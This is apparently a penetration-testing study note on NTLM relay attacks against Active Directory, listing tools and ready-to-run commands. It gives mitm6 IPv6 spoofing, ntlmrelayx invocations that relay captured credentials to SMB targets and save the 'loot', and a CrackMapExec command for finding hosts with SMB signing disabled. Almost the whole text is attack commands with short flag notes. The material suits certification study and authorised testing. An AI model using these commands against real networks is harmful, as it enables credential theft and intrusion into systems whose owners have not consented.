oscp/Necronomicon/Attacks/Active Directory/NTLM Relay.md

• Through Cobalt Strike:

  • https://github.com/praetorian-inc/PortBender

• Through .NET

  • https://github.com/Kevin-Robertson/InveighZero

• MITM6 - Spoof IPv6 and relay requests to targets

  • mitm6 -d <domain.local>
  • ntlmrelayx.py -6 -wh 192.168.1.1 -t smb://192.168.1.2 -l ~/tmp/
    • -6 specifies ipv6, -wh specifies where the WPAD file is hosted at (your IP usually). -t specifies the target, or destination where the credentials will be relayed. -l is to where to store the loot.

• Generate list of relay targets (SMB signing disabled)

  • cme smb scope.txt --gen-relay-list relay.txt

• Basic NTLM Relay

  • impacket-ntlmrelayx -t <target> -smb2support
  • With targets file
    • impacket-ntlmrelayx -tf relay.txt -smb2support

• NTLM Relay to AD CS HTTP Endpoints - see ADCS section